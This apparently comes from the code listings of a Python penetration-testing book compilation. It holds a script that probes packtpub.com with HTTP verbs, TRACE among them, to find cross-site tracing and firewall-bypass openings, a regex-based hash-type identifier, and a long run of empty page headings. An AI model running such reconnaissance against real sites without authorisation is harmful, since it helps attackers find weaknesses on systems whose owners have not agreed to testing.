1	$ easy_install shodan

page 526:

import requests
verbs = ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'TRACE', 'TEST']
for verb in verbs:
  req = requests.request(verb, 'http://packtpub.com')
  print verb, req.status_code, req.reason
  if verb == 'TRACE' and 'TRACE / HTTP/1.1' in req.text:
    print 'Possible Cross Site Tracing vulnerability found'

The TRACE response returns 405 Not Allowed, showing that this has been explicitly denied by the web server.
One interesting thing with the target server here is that it returns a 200 OK response for the TEST method. This means that the server is processing the TEST request as a different method; for example, it's treating it as a GET request. As earlier mentioned, this makes a good way to bypass some firewalls, as they may not process the unexpected TEST method.

3_06: Image Analysis and Manipulation

// Steganography.

3_07: Encryption and Encoding

page 597:

// Hash identifier.

import re
def hashcheck (hashtype, regexstr, data):
  try:
    valid_hash = re.finditer(regexstr, data)
    result = [match.group(0) for match in valid_hash]
    if result:
      return "This hash matches the format of: " + hashtype
  except: pass

string_to_check = raw_input('Please enter the hash you wish to check: ')

hashes = (
  ("Blowfish(Eggdrop)", r"^\+[a-zA-Z0-9\/\.]{12}$"),
  ("Blowfish(OpenBSD)", r"^\$2a\$[0-9]{0,2}?\$[a-zA-Z0-9\/\.]{53}$"),
  ("Blowfish crypt", r"^\$2[axy]{0,1}\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("DES(Unix)", r"^.{0,2}[a-zA-Z0-9\/\.]{11}$"),
  ("MD5(Unix)", r"^\$1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
  ("MD5(APR)", r"^\$apr1\$.{0,8}\$[a-zA-Z0-9\/\.]{22}$"),
  ("MD5(MyBB)", r"^[a-fA-F0-9]{32}:[a-z0-9]{8}$"),
  ("MD5(ZipMonster)", r"^[a-fA-F0-9]{32}$"),
  ("MD5 crypt", r"^\$1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("MD5 apache crypt", r"^\$apr1\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("MD5(Joomla)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{16,32}$"),
  ("MD5(Wordpress)", r"^\$P\$[a-zA-Z0-9\/\.]{31}$"),
  ("MD5(phpBB3)", r"^\$H\$[a-zA-Z0-9\/\.]{31}$"),
  ("MD5(Cisco PIX)", r"^[a-zA-Z0-9\/\.]{16}$"),
  ("MD5(osCommerce)", r"^[a-fA-F0-9]{32}:[a-zA-Z0-9]{2}$"),
  ("MD5(Palshop)", r"^[a-fA-F0-9]{51}$"),
  ("MD5(IP.Board)", r"^[a-fA-F0-9]{32}:.{5}$"),
  ("MD5(Chap)", r"^[a-fA-F0-9]{32}:[0-9]{32}:[a-fA-F0-9]{2}$"),
  ("Juniper Netscreen/SSG (ScreenOS)", r"^[a-zA-Z0-9]{30}:[a-zA-Z0- 9]{4,}$"),
  ("Fortigate (FortiOS)", r"^[a-fA-F0-9]{47}$"),
  ("Minecraft(Authme)", r"^\$sha\$[a-zA-Z0-9]{0,16}\$[a-fA-F0- 9]{64}$"),
  ("Lotus Domino", r"^\(?[a-zA-Z0-9\+\/]{20}\)?$"),
  ("Lineage II C4", r"^0x[a-fA-F0-9]{32}$"),
  ("CRC-96(ZIP)", r"^[a-fA-F0-9]{24}$"),
  ("NT crypt", r"^\$3\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("Skein-1024", r"^[a-fA-F0-9]{256}$"),
  ("RIPEMD-320", r"^[A-Fa-f0-9]{80}$"),
  ("EPi hash", r"^0x[A-F0-9]{60}$"),
  ("EPiServer 6.x < v4", r"^\$episerver\$\*0\*[a-zA-Z0-9]{22}==\*[a- zA-Z0-9\+]{27}$"),
  ("EPiServer 6.x >= v4", r"^\$episerver\$\*1\*[a-zA-Z0- 9]{22}==\*[a-zA-Z0-9]{43}$"),
  ("Cisco IOS SHA256", r"^[a-zA-Z0-9]{43}$"),
  ("SHA-1(Django)", r"^sha1\$.{0,32}\$[a-fA-F0-9]{40}$"),
  ("SHA-1 crypt", r"^\$4\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-1(Hex)", r"^[a-fA-F0-9]{40}$"),
  ("SHA-1(LDAP) Base64", r"^\{SHA\}[a-zA-Z0-9+/]{27}=$"),
  ("SHA-1(LDAP) Base64 + salt", r"^\{SSHA\}[a-zA-Z0- 9+/]{28,}[=]{0,3}$"),
  ("SHA-512(Drupal)", r"^\$S\$[a-zA-Z0-9\/\.]{52}$"),
  ("SHA-512 crypt", r"^\$6\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-256(Django)", r"^sha256\$.{0,32}\$[a-fA-F0-9]{64}$"),
  ("SHA-256 crypt", r"^\$5\$[a-zA-Z0-9./]{8}\$[a-zA-Z0-9./]{1,}$"),
  ("SHA-384(Django)", r"^sha384\$.{0,32}\$[a-fA-F0-9]{96}$"),
  ("SHA-256(Unix)", r"^\$5\$.{0,22}\$[a-zA-Z0-9\/\.]{43,69}$"),
  ("SHA-512(Unix)", r"^\$6\$.{0,22}\$[a-zA-Z0-9\/\.]{86}$"),
  ("SHA-384", r"^[a-fA-F0-9]{96}$"),
  ("SHA-512", r"^[a-fA-F0-9]{128}$"),
  ("SSHA-1", r"^({SSHA})?[a-zA-Z0-9\+\/]{32,38}?(==)?$"),
  ("SSHA-1(Base64)", r"^\{SSHA\}[a-zA-Z0-9]{32,38}?(==)?$"),
  ("SSHA-512(Base64)", r"^\{SSHA512\}[a-zA-Z0-9+]{96}$"),
  ("Oracle 11g", r"^S:[A-Z0-9]{60}$"),
  ("SMF >= v1.1", r"^[a-fA-F0-9]{40}:[0-9]{8}&"),
  ("MySQL 5.x", r"^\*[a-f0-9]{40}$"),
  ("MySQL 3.x", r"^[a-fA-F0-9]{16}$"),
  ("OSX v10.7", r"^[a-fA-F0-9]{136}$"),
  ("OSX v10.8", r"^\$ml\$[a-fA-F0-9$]{199}$"),
  ("SAM(LM_Hash:NT_Hash)", r"^[a-fA-F0-9]{32}:[a-fA-F0-9]{32}$"),
  ("MSSQL(2000)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{80}$"),
  ("MSSQL(2005)", r"^0x0100[a-f0-9]{0,8}?[a-f0-9]{40}$"),
  ("MSSQL(2012)", r"^0x02[a-f0-9]{0,10}?[a-f0-9]{128}$"),
  ("TIGER-160(HMAC)", r"^[a-f0-9]{40}$"),
  ("SHA-256", r"^[a-fA-F0-9]{64}$"),
  ("SHA-1(Oracle)", r"^[a-fA-F0-9]{48}$"),
  ("SHA-224", r"^[a-fA-F0-9]{56}$"),
  ("Adler32", r"^[a-f0-9]{8}$"),
  ("CRC-16-CCITT", r"^[a-fA-F0-9]{4}$"),
  ("NTLM)", r"^[0-9A-Fa-f]{32}$"),
)

counter = 0
for h in hashes:
  text = hashcheck(h[0], h[1], string_to_check)
  if text is not None:
    counter += 1
    print text
if counter == 0:
  print "Your input hash did not match anything, sorry!"

Further Reading

Table of Contents

Module 1: Learning Penetration Testing with Python

Module 2: Python Penetration Testing Essentials

Module 3: Python Web Penetration Testing Cookbook

Module 1: Learning Penetration Testing with Python

page 7:

page 12:

page 13:

page 15:

page 17:

page 22:

page 29:

page 30:

page 31:

page 32:

page 33:

page 47:

page 77:

page 78:

page 79:

page 80:

page 81:

page 82:

page 84:

page 85:

page 86:

page 87:

page 87:

page 88:

page 89:

page 90:

page 93:

page 94:

page 96:

page 98:

page 103:

page 105:

page 116:

page 135:

page 136:

page 137:

page 139:

page 151:

page 157:

page 174:

page 178:

page 201:

page 249:

page 277:

Module 2: Python Penetration Testing Essentials

page 289:

page 290:

page 293:

page 300:

page 301:

page 302:

page 307:

page 340:

page 341:

page 342:

page 344:

page 348:

page 349:

page 350:

page 351:

page 354:

page 355:

page 358:

page 360:

page 361:

page 393:

Module 3: Python Web Penetration Testing Cookbook

page 440:

page 526:

page 597: